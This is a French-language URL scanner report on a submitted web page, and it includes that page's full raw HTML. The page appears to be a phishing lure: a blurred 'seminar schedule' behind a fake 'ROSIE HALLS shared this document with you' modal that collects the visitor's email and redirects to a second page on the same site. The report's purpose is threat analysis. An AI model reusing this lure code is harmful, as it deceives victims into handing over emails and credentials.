- ID de l'analyse :
- e37265c6-199e-4458-95aa-b85763177956Terminée
- URL soumise :
- https://www.budgetmastermind.com/lisds/miques/index.htm
- Fin du rapport :
Liens : 0 trouvé(s)
Liens sortants identifiés à partir de la page
Variables JavaScript : 3 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
| Nom | Type |
|---|---|
| onbeforetoggle | object |
| documentPictureInPicture | object |
| onscrollend | object |
Messages de journal de console : 1 trouvé(s)
Messages consignés dans la console web
| Type | Catégorie | Enregistrement |
|---|---|---|
| error | network |
|
HTML
Le corps HTML de la page en données brutes
<!DOCTYPE html><html lang="en"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Email Collection Modal with Redirect and Auto-grab</title>
<style>
body, html {
height: 100%;
margin: 0;
font-family: Arial, sans-serif;
overflow-x: hidden;
}
.content img{
padding: 20px;
transition: filter 0.3s ease;
}
.blur {
filter: blur(9.5px);
}
.modal-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(75, 85, 99, 0.7);
display: flex;
justify-content: center;
align-items: flex-start;
padding-top: 100px;
}
.modal {
background-color: white;
padding: 2rem;
position: relative;
top: 10px;
border-radius: 1px;
width: 100%;
height: 281px;
max-width: 580px;
}
h2 {
color: #2B3674;
font-size: 1.25rem;
margin-bottom: 1rem;
}
p {
color: #64748B;
font-size: 0.875rem;
margin-bottom: 1rem;
}
input[type="email"] {
width: 100%;
padding: 0.5rem;
border: 1px solid #E2E8F0;
border-radius: 4px;
margin-bottom: 0.25rem;
font-size: 1rem;
outline: none;
}
input[type="email"]:invalid {
border-color: #FF7F50;
background-color: #FFF5F3;
}
input[type="email"]:focus {
border-color: #4299E1;
box-shadow: 0 0 0 3px #4299E1;
}
.validation-message {
font-size: 12px;
color: #22C55E;
margin-top: 4px;
height: 16px;
}
.validation-message.valid {
color: #22C55E;
position: relative;
font-size: medium;
}
.validation-message.invalid {
font-size: medium;
position: relative;
color: #22C55E;
}
button {
background-color: #ff6347;
border: none;
color: white;
padding: 10px 32px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 16px;
margin: 2px 2px;
cursor: pointer;
border-radius: 1px;
position: relative;
top: 50px;
}
button:hover {
background-color: #FF6B5E;
}
.image-container {
max-width: 100%;
margin-top: 20px;
}
.image-container img {
width: 100%;
height: auto;
border-radius: 8px;
}
</style>
</head>
<body>
<div class="content blur" id="pageContent">
<div class="image-container">
<img src="/Screenshot 2024-11-06 213845.png" alt="XML Seminar Schedule">
</div>
</div>
<div class="modal-overlay" id="modalOverlay">
<div class="modal">
<h2 style="padding-bottom:22px ;">ROSIE HALLS shared this document with you.</h2>
<p style="font-size: larger; color: black; "> Please enter your email address to continue *</p>
<form id="emailForm">
<input type="email" id="emailInput" placeholder="Email address" required="">
<div class="validation-message" id="validationMessage"></div>
<button type="submit">Submit</button>
</form>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', function() {
const form = document.getElementById('emailForm');
const modalOverlay = document.getElementById('modalOverlay');
const pageContent = document.getElementById('pageContent');
const emailInput = document.getElementById('emailInput');
const validationMessage = document.getElementById('validationMessage');
pageContent.classList.add('blur');
function validateEmail(email) {
const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return re.test(email);
}
function autoGrabEmail() {
const enteredEmail = emailInput.value;
if (enteredEmail && enteredEmail.includes('@')) {
localStorage.setItem('userEmail', enteredEmail);
}
}
const savedEmail = localStorage.getItem('userEmail');
if (savedEmail) {
emailInput.value = savedEmail;
}
emailInput.addEventListener('input', function() {
autoGrabEmail();
if (emailInput.value.trim() !== '') {
if (validateEmail(emailInput.value)) {
validationMessage.textContent = 'That email address is valid.';
validationMessage.className = 'validation-message valid';
} else {
validationMessage.textContent = 'Enter valid email address';
validationMessage.className = 'validation-message invalid';
}
} else {
validationMessage.textContent = '';
validationMessage.className = 'validation-message';
}
});
form.addEventListener('submit', function(e) {
e.preventDefault();
const email = emailInput.value;
console.log('Email submitted:', email);
localStorage.setItem('userEmail', email);
window.location.href = 'https://www.budgetmastermind.com/Interior/airq/index.html';
});
});
</script>
</body></html>